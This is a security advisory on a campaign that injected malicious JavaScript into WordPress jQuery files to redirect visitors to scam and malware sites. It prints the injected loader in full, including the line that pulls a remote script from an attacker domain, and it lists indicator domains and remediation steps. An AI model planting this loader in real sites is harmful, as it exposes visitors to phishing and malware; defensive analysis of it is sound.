Severity

High

Analysis Summary

Researchers discovered a massive campaign that infected thousands of WordPress websites with malicious JavaScript code that redirected users to scam content. To generate illicit traffic the infection automatically redirects site users to third-party websites containing malicious content (i.e. phishing pages, malware downloads), or commercial websites.

All of the websites had the same issue: malicious JavaScript had infiltrated their files and databases, including legitimate core WordPress files, such as: ./wp-includes/js/jquery/jquery.min.js ./wp-includes/js/jquery/jquery-migrate.min.js“

Once the website had been hacked, the attackers attempted to infect all .js files containing the word jQuery in the name. They inserted code beginning with “/* trackmyposs*/eval(String.fromCharCode…”“

```
eval('var scripts = document.getElementsByTagName(\"script\");
var wantme = false;
for (var i = 0; i < scripts.length; i++) {
  if (scripts[i].id) {
     if (scripts[i].id == \"trackmyposs\"){
        wantme=true;
     }
  }
}
if(wantme==false){
    var d=document;var s=d.createElement(\'script\');
    s.id=\"trackmyposs\";s.src='https://clipjs.legendarytable.com/clip.js?v=4.4.2';

    if (document.currentScript) {
    document.currentScript.parentNode.insertBefore(s, document.currentScript);
    }
    else
    {
    d.getElementsByTagName(\'head\')[0].appendChild(s);}
}');
```

In some cases, users were sent to a landing page containing a CAPTCHA check. They’ll be opted in to receive unwanted adverts even if the site isn’t open upon clicking on the false CAPTCHA. The adverts will appear to be created by the operating system rather than a browser. According to the research, at least 322 websites have been compromised, as a consequence of this wave of attacks, with users being sent to the malicious website drakefollow[.]com.

This campaign targeting WordPress sites begin on May 9th, 2022. In order to hack the website and insert their malicious scripts, attackers are exploiting different vulnerabilities in WordPress plugins and themes.

Impact

- Cross-Site Scripting
- Data Manipulation
- Bypass Security

Indicators of Compromise

Domain Name

- legendarytable[.]com
- local[.]drakefollow[.]com
- links[.]drakefollow[.]com
- bluestringline[.]com
- browntouchmysky[.]com

- redstringline[.]com

Remediation

- Logging — Log your eCommerce environment's network activity and web server activity.
- Passwords — Ensure that general security policies are employed including: implementing strong passwords, correct configurations, and proper administration security policies.
- Admin Access — limit access to administrative accounts and portals to only relevant personnel and make sure they are not publicly accessible.
- WAF — Web defacement must be stopped at the web application level. Therefore, set up a Web Application Firewall with rules to block suspicious and malicious requests.
- Patch — Patch and upgrade any platforms and software timely and make it into a standard security policy. Prioritize patching known exploited vulnerabilities and zero-days.
- Secure Coding — Along with network and system hardening, code hardening should be implemented within the organization so that their websites and software are secure. Use testing tools to detect any vulnerabilities in the deployed codes.
- 2FA — Enable two-factor authentication.
- Antivirus — Enable antivirus and anti-malware software and update signature definitions in a timely manner. Using a multi-layered protection is necessary to secure vulnerable assets
- Security Best Practices — Do not open emails and attachments from unknown or suspicious sources.
- Upgrade to the latest version of WordPress, available from the WordPress Plugin Directory.